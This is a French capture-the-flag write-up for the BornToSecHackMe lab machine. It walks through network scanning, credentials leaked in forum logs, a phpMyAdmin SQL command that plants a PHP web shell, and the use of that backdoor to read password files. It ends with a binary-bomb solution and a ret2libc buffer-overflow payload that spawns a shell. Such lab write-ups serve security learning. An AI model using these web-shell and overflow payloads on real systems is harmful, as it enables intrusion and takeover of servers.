-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwriteup1
251 lines (203 loc) · 9.31 KB
/
writeup1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
# Writeup1
## 1. Découvrir l'adresse IP
* Mode host-only (Création d'un host-only si pas déjà fait)
```
ipconfig
nmap 192.168.56.0/24
```
* vboxnet0 : interface qui fait partie de VirtualBox utilisée pour les connexions réseau entre l'hôte (la machine physique) et les machines virtuelles.
Adresse IPv4 : inet 192.168.56.1
* nmap 192.168.56.0/24 scanne toutes les adresses IP dans le sous-réseau (0-255) pour détecter les hôtes actifs et les ports ouverts sur ces machines = cartographier le réseau local.
* L'adresse du serveur est donc : 192.168.56.101
## 2. Websites
* `dirb https://192.168.56.101 -r`
```sh
```
## 3. Forum
#### Password of a user : lmezard
* Grep tous les invalid user, on voit qu'une entrée semble être un mot de passe :
`curl -k https://192.168.56.101/forum/index.php\?id\=6 | grep "invalid user"`
Output :
`
Oct 5 08:45:29 BornToSecHackMe sshd[7547]: Failed password for invalid user !q\]Ej?*5K5cy*AJ from 161.202.39.38 port 57764 ssh2<br />
`
Pseudo : lmezard
Password : !q\]Ej?*5K5cy*AJ
Email : laurie@borntosec.net
Les autres utilisateurs sont :
## 4. SquirrelMail
Avec les identifiants trouvés sur le forum, on se connecte:
Email : laurie@borntosec.net
Password : !q\]Ej?*5K5cy*AJ
user : root
Password : Fg-'kKXBj87E:aJ$
## 5. phpmyadmin
* Application web open-source écrite en PHP qui permet de gérer facilement des bases de données MySQL et MariaDB via une interface graphique accessible depuis un navigateur web.
:
1. Connexion avec les identifiants récupérés
2.
```sql
SELECT '<? system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/forum/templates_c/backdoor.php'
```
*<? ... ?> : C'est la syntaxe de base du PHP. Cela indique que le contenu entre les balises doit être interprété comme du code PHP.
* system($_GET["cmd"]) : La fonction system() en PHP permet d'exécuter une commande système sur le serveur. Dans ce cas, la commande à exécuter est fournie par un paramètre d'URL via $_GET["cmd"]. Par exemple, si l'URL était backdoor.php?cmd=ls, cela exécuterait la commande ls sur le serveur, qui liste les fichiers dans le répertoire courant.
*`INTO OUTFILE` ->
* Le fichier sera placé dans le répertoire `/var/www/forum/templates_c/`, qui est un dossier typiquement utilisé pour stocker des fichiers temporaires ou des caches dans une application web.
* Le fichier s'appelle `backdoor.php`, ce qui est un nom typiquement utilisé pour désigner un accès caché ou un accès de backdoor au serveur.
Le fichier PHP créé aura le code suivant :
<?php system($_GET["cmd"]); ?>
```
https://192.168.56.101/forum/templates_c/backdoor.php?cmd=%22ls%22%20/home/
https://192.168.56.101/forum/templates_c/backdoor.php?cmd=%22ls%22%20/home/LOOKATME/password
https://192.168.56.101/forum/templates_c/backdoor.php?cmd=%22cat%22%20/home/LOOKATME/password
```
lmezard:G!@M6f4Eatau{sF"
* Ne fonctionne pas en ssh
* Fonctionne en ftp
## 6. FTP
```
ftp
open
192.168.56.101
lmezard
G!@M6f4Eatau{sF"
```
* On a deux fichier README & fun
```
get fun
get README
```
## 7. Challenge ssh laurie
```
cat README
file README
file fun
```
* ft_fun est un dossier remplit de fichier .pcap
* Ce sont de faux fichiers :
1. Print tous les fichiers avec print_files.py
2. Trouver le fichier avec main() avec find_main.py
3. Concatenons les fichiers dans l'ordre `python scripts/concatenate_files.py /mnt/nfs/ft_fun resultats.c`
4. `gcc resultats.c` `./a.out` -> `MY PASSWORD IS: Iheartpwnage Now SHA-256 it and submit`
5. sha256 du mot de passe : `330b845f32185747e4f8ca15d40ca59796035c89ea809fb5d30f4da83ecf45a4`
## 8. laurie
* laurie:330b845f32185747e4f8ca15d40ca59796035c89ea809fb5d30f4da83ecf45a4
```sh
ssh laurie@192.168.56.101
```
1. On se connecte avec les identifiants, on obtient deux fichiers bomb et README
2. On télécharge le fichier bombe avec scp : `scp -p 22 laurie@192.168.56.101:/home/laurie/bomb .`
3. Reverse Engineering avec Ghidra :
1. `Public speaking is very easy.`
2. Les entrées doivent être :
Le premier nombre : 1
Le deuxième nombre : 2 (car 2 * 1 = 2)
Le troisième nombre : 6 (car 3 * 2 = 6)
Le quatrième nombre : 24 (car 4 * 6 = 24)
Le cinquième nombre : 120 (car 5 * 24 = 120)
Le sixième nombre : 720 (car 6 * 120 = 720)
`1 2 6 24 120 720`
3. `0 q 777`
4. Dans la fonction phase_4, l'entrée de l'utilisateur (un entier) est passé à func4. Si func4(local_8) retourne 55 (soit 0x37), la fonction se termine correctement. Sinon, la "bombe" explose.
En analysant les valeurs de la suite de Fibonacci, on trouve que func4(9) retourne 55. Donc, pour éviter l'explosion, l'utilisateur doit entrer 9 comme valeur
`9`
5. giants
L’objectif est de trouver une chaîne de 6 caractères où chaque caractère correspond à une lettre de "giants" en utilisant les low bits de chaque caractère de la chaîne d'entrée pour choisir un index dans "isrveawhobpnutfg"
* Le chiffrement utilise les 4 derniers bits de chaque caractère pour déterminer à quel caractère de la clé key il correspond.
* Comme plusieurs caractères peuvent partager les mêmes 4 derniers bits, il existe plusieurs entrées valides pour obtenir la sortie "giants".
* Cela conduit à plusieurs combinaisons d'entrées valides, qui peuvent aboutir à la même chaîne de sortie.
Ainsi, la réponse à cette phase du défi pourrait être n'importe quelle chaîne d'entrée parmi les possibilités valides comme "opekma", "opekmq", ou "opukmq".
Exemple : index de 'g' dans "isrveawhobpnutfg" = 15 (en décimal) = 1111 (en binaire)
Caractères possibles avec les 4 derniers bits 1111 : 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~'
`opekma`
6. Les valeurs doivent être décroissantes, pour les afficher :
```sh
info variables
x [adresse]
node4 = 997
node2 = 725
node6 = 432
node3 = 301
node1 = 253
node5 = 212
```
`4 2 6 3 1 5`
## 9. thor
* `ssh thor@192.168.56.101`
* thor:Publicspeakingisveryeasy.126241207201b2149opekmq426135
* `scp -P 22 thor@192.168.56.101:/home/thor/turtle .`
* `SLASH` -> md5 -> 646da671ca01bb5d84dbb5fb2238dc8e
## 10. zaz
* `ssh zaz@192.168.56.101`
* zaz/646da671ca01bb5d84dbb5fb2238dc8e
1. Il y a un exploit_me, on desassemble le main :
``` sh
Dump of assembler code for function main:
0x080483f4 <+0>: push %ebp
0x080483f5 <+1>: mov %esp,%ebp
0x080483f7 <+3>: and $0xfffffff0,%esp
0x080483fa <+6>: sub $0x90,%esp
0x08048400 <+12>: cmpl $0x1,0x8(%ebp)
0x08048404 <+16>: jg 0x804840d <main+25>
0x08048406 <+18>: mov $0x1,%eax
0x0804840b <+23>: jmp 0x8048436 <main+66>
0x0804840d <+25>: mov 0xc(%ebp),%eax
0x08048410 <+28>: add $0x4,%eax
0x08048413 <+31>: mov (%eax),%eax
0x08048415 <+33>: mov %eax,0x4(%esp)
0x08048419 <+37>: lea 0x10(%esp),%eax
0x0804841d <+41>: mov %eax,(%esp)
0x08048420 <+44>: call 0x8048300 <strcpy@plt>
0x08048425 <+49>: lea 0x10(%esp),%eax
0x08048429 <+53>: mov %eax,(%esp)
0x0804842c <+56>: call 0x8048310 <puts@plt>
0x08048431 <+61>: mov $0x0,%eax
0x08048436 <+66>: leave
0x08048437 <+67>: ret
```
* Le programme prend un argument et le puts
### Buffer Overflow et Ret2lic
#### 1. Offset
Le but est de découvrir **le nombre de caractères à partir duquel le programme** commence à écraser des parties importantes de la mémoire. Pour cela, on utilise un generateur de motif:
* Le programme crash avec un segmentation fault (SIGSEGV), ce qui signifie que la mémoire a été corrompue, car il essaie d'accéder à une adresse invalide après un buffer overflow.
```sh
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Starting program: /home/zaz/exploit_me Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()
``
* Offset : 140
#### 2. Ret2libc
On remplace l'adresse de retour de la fonction par l'adresse d'une fonction de la bibliothèque libc : system.
```
(gdb) info address system
Symbol "system" is at 0xb7e6b060 in a file compiled without debugging.
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e6b060 <system>
(gdb) find __libc_start_main,+99999999,"/bin/sh"
0xb7f8cc58
```
* Adresse de system : 0xb7e6b060
* Adresse de "/bin/sh" : 0xb7f8cc58
#### 3. Payload
* Adresses en litlle endian
```
./exploit_me $(python -c 'print "\x90" * 140 + "\x60\xb0\xe6\xb7" + "\x90\x90\x90\x90" + "\x58\xcc\xf8\xb7"')
```
# Ressources
* https://wiremask.eu/tools/buffer-overflow-pattern-generator/
* https://beta.hackndo.com/retour-a-la-libc/